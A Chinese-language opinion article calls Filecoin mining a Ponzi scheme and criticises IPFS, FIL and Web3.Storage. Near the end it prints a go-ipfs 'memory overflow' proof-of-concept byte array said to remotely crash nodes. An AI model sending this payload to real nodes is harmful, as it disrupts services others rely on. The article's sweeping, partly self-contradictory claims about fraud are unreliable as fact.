资本家的收割阴谋---空气币FIL“挖矿”庞氏骗局还能坚持多久?

IPFS(Inter-Planetary File System)是一个面向全球的、点对点的分布式文件存储协议，任何人可以通过这个协议做一个分布式存储解决方案，把数据进行多点本地存储，IPFS本身并不是区块链技术，就无法保证数据的确权问题、数据的可靠性和一致性，从而无法从真正意义上的解决“数据孤岛”问题。

Filecoin在主网上线之初就明白IPFS因为他的冗余备份所以无法大规模落地实现，所以其将IPFS的概念进行了偷换，加上了它所谓的区块链技术，FIL项目没有将数据多份存储在不同地方，本身也没有存储功能，而是还是和HTTP协议一样1对1将数据存储在1台服务器（其成为“矿机”）中，这就是所谓的数据封装，然而封装质押无非就是资本把手上的代币的解套而已，大家可以回想在项目起初，项目方是不是逐步抛出了手上的Filecoin代币？项目本身就是为了用资本的方法收割币圈。

FIL网络的存储数据功能是它所谓的应用价值所在，那么我们来看一看，在FIL矿机中存储的是什么数据呢？实际上，几乎所有存储在FIL网络的数据，就仅仅是软件随机生成的数字而已，也就是毫无价值的空白文件。

为什么要这样做呢？是因为按照FIL网络存储的技术路径、实现方法，根本就不可能有任何公司将有价值的数据存储在这里。那为了能够造成有实际应用价值的假象，这些踊跃组织群众参与挖矿的不法商家，也就只能自己去创造没有价值的文件存储进去，激活挖矿程序，产生FIL代币，二级市场接盘，无法真正落地应用的区块链技术代币终将崩盘。

日前，协议实验室发布了所谓的Web3.Storage，定位为是一个可供开发人员在Filecoin去中心化网络中存储和检索数据的接口。给Web3.Storage提供存储空间的Filecoin服务商可获得10倍的挖矿奖励，开发人员从后台发送至Web3.Storage的数据被立即固定在协议实验室托管指定的三个地理分布节点的IPFS集群上。它们由此排队存储在Filecoin网络中。在此队列里，它与Filecoin交易中的其他数据打包，然后被存储在至少五个地理分布的存储提供者中。同时它还会被其他IPFS托管服务如Pinata托管，以获得额外的冗余度和可用性！

也就是说，用户的数据能不能进行存储是由协议实验室决定的。Filcoin存储提供商需要额外的部署服务器得到存储奖励，简单的说协议实验室又发起了一个项目！其本质就是由协议实验室作为第三方进行数据分配的中心化管理的又一个存储项目。

真正的的分布式存储公链，是由用户自己决定数据上链分布式存储或是调用协议进行本地分布式存储，并且在上链过程中开发者无权干扰用户的数据如何进行存储从而保护数据的隐私性和归属性。

更为可怕的是，IPFS/FIL最近被报出严重漏洞，攻击者可以通过远程通过EX交易写入信息，内存溢出，从而远程关闭IPFS/FIL节点，具体实测内容:

漏洞库代码名称：GO_IPFS控制台内存溢出漏洞

作者:fffnetwork

Date:2021/12/19

版本:v0.12.0

漏洞说明：

控制台输入转义字符内存溢出漏洞

漏洞等级：3

上报平台：vuldb.com

漏洞利用:

poc=[]byte{0x66, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,

0xee, 0x01, 0x06, 0x00, 0xee, 0x09, 0x05, 0x07,

0x00, 0xee, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,

0x35, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e,

0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e,

0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e,

0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x66,

0x6c, 0x61, 0x73, 0x66, 0x2e, 0x72, 0x77, 0x2e,

0x73, 0x74, 0x6e, 0x72, 0x65, 0x2e, 0x75, 0x73,

0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,

0xee, 0x66, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,

0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0xee, 0x66,

0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}

这讲意味着黑客可以通过这个漏洞控制节点，并使得文件无法提供给使用者，对于Filecoin网络来说，黑客可以随意让节点受到处罚，CID也存在漏洞风险。虽然IPFS/FIL被爆严重漏洞，但是IPFS本身还是非常不错的开源技术。只不过IPFS和Filecoin并没有关系，两个是独立的项目。

总而言之，Filcoin违背了项目宣传的初衷，在明知技术路径和实现方法无法兑现的时候，强制上线。如今Filcoin挖矿作为虚拟币挖矿的一种，其实没有真正进行存储有价值数据，也无法做到其宣称的分布式存储，更无法进行商用价值，本质就是“存钱生息，借新还旧”的庞氏骗局。